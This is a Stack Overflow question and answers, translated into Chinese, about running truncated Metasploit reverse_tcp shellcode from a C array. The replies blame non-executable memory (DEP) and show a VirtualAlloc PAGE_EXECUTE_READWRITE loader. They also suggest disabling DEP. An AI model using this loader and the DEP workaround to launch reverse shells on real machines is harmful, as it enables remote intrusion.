【问题标题】:Executing shellcode in C (visual studio 2017在 C 中执行 shellcode(Visual Studio 2017
【发布时间】:2017-11-02 05:58:23
【问题描述】:

当我尝试在 C 中执行 shellcode(基本的 reverse_tcp,指向本地地址)时遇到问题。

我使用以下代码从基础开始:

#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>



int main(int argc, char * argv[])
{

    unsigned char shellcode[] = \
        "\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
        "\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
        "\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
        "\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
        "\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
        "\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
        "\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
        "\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
        "\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
        "\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
        "\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
        "\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
        "\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
        ;


    int(*ret)() = (int(*)())shellcode;
    ret();

}


return 1;
}

(我为示例剪切了shellcode) 当我使用 Visual Studio Community 2017 编译这个 .c 文件时,我收到一些关于未使用的 argv 和 argc 的警告,以及在 ret 中从 () 到 (void) 的转换。

然后我尝试执行该文件,我得到一个很棒的“已停止工作”。 所以我在 Visual Studio 中启动了调试,这就是我得到的:

所以这是一个访问冲突错误,但为什么呢?我在google上搜索,似乎这个错误可能有很多原因,但我不知道为什么会发生在我身上。

【问题讨论】:

  • shellcode 是为你的平台设计的吗?....
  • 关于argvargc的警告没有用。它只是告诉你你不使用它们。你不妨写int main(void)
  • 告诉我们更多关于这个shellcode的信息。它是什么?你是从哪里弄来的?你有源代码吗?如果是,请出示。问题出在 shellcode 中。
  • 您正在尝试在堆栈上执行一大段代码 - 很可能堆栈页面未标记为可执行。在 Windows 95 或 98 上试试 - 它应该在那里工作。
  • 其他建议:使用调试器单步调试汇编代码。

标签: c windows visual-studio shellcode metasploit


【解决方案1】:

这是因为 PE 中的 .data 段是在没有执行权限的情况下分配的。试试这个并在链接器设置中禁用 DEP(如果已设置)

#include <Windows.h>

int main()
{
    const char shellcode[] = ".......";   
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)(); ...

【讨论】:

    【解决方案2】:

    您通常无法在 Windows 上执行可执行文件的 .data 部分中的代码。发生访问冲突是因为您尝试运行不可执行的代码。

    https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553(v=vs.85).aspx

    【讨论】:

    • 你是对的!添加 NXCOMPAT:NO 来构建参数使文件运行良好!我现在将尝试使我的代码与 DEP 兼容!非常感谢!
    • @EinderJam - 说谢谢你的好方法是点击和/或接受答案。
    猜你喜欢
    • 2017-10-25
    • 1970-01-01
    • 2019-03-29
    • 1970-01-01
    • 2018-02-03
    • 1970-01-01
    • 2019-02-11
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多